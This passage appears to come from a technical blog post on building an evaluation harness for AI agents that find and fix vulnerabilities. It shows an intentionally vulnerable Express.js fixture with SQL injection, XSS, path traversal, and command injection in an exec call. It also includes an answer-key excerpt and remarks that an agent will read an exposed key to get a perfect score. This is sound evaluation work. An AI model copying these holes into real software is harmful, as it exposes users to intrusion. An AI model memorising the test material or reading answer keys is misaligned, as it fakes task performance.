&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; req.query.username;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;sql&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;SELECT * FROM users WHERE username = &apos;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; username &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&apos;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// SQL injection&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;results&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;dbQuery&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(sql);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(results);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/greet&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; req.query.name;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`&amp;#x3C;html&gt;&amp;#x3C;body&gt;&amp;#x3C;h1&gt;Hello, ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}!&amp;#x3C;/h1&gt;&amp;#x3C;/body&gt;&amp;#x3C;/html&gt;`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// XSS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/file&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; req.query.filename;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;basePath&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/var/app/public/&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  fs.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;readFile&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(basePath &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; filename, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;utf8&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// path traversal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(data);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/ping&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;host&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; req.query.host;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;ping -c 1 &quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; host, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;stdout&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// command injection&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`&amp;#x3C;pre&gt;${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;stdout&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}&amp;#x3C;/pre&gt;`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Five vulnerabilities. Simple enough to be quick to run, complex enough to be non-trivial.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Critical lesson: strip all comments that reveal the vulnerabilities.&lt;/strong&gt; In early development we had &lt;code&gt;// VULN: SQL injection&lt;/code&gt; style comments all over the code. The agent just reads these and reports them back — not a real test at all. The fixture should look like real production code written by a developer who didn’t notice the issues.&lt;/p&gt;
&lt;h3 id=&quot;the-ground-truth-file-lives-outside-the-fixture-directory&quot;&gt;The ground-truth file lives &lt;em&gt;outside&lt;/em&gt; the fixture directory&lt;/h3&gt;
&lt;p&gt;This one will bite you if you’re not careful.&lt;/p&gt;
&lt;p&gt;We store the answer key as &lt;code&gt;fixtures/js-vulns.json&lt;/code&gt; — a sibling to the fixture directory, not inside it:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;fixtures/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  js-vulns.json       ← ground truth (agent never sees this)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  js-vulns/           ← agent&apos;s working directory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    app.js&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you put &lt;code&gt;vulns.json&lt;/code&gt; inside &lt;code&gt;js-vulns/&lt;/code&gt;, the agent will just &lt;code&gt;Read&lt;/code&gt; it and report whatever’s in it. Perfect score, zero signal. The answer key must be out of reach.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Intentionally vulnerable Express.js app&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;vulnerabilities&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;js-sqli-1&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;sql-injection&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;severity&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;critical&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;file&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;app.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;line&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;24&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;User input directly concatenated into SQL query string&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FFA198&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-2-the-type-system--knowing-what-youre-measuring&quot;&gt;Step 2: The type system — knowing what you’re measuring&lt;/h2&gt;
&lt;p&gt;Before writing any agent code, define your data model. This forces clarity on what a “task”, a “config”, and a “result” actually are.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// A specific eval scenario: which fixture, which category, what prompt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;interface&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;EvalTask&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;category&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;EvalCategory&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// &quot;find-vulns&quot; | &quot;fix-vulns&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;fixture&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;               &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// path to fixture directory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;systemPrompt&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;?:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;prompt&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;knownVulns&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Vulnerability&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[];   &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// loaded from fixtures/&amp;#x3C;name&gt;.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;maxTurns&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;?:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// A model + tool configuration to test&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;interface&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;RunConfig&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;model&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;                 &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// e.g. &quot;claude-opus-4-6&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;mcpServers&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;?:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Record&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;MCPServerConfig&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;;&lt;/span&gt;&lt;/span&gt;
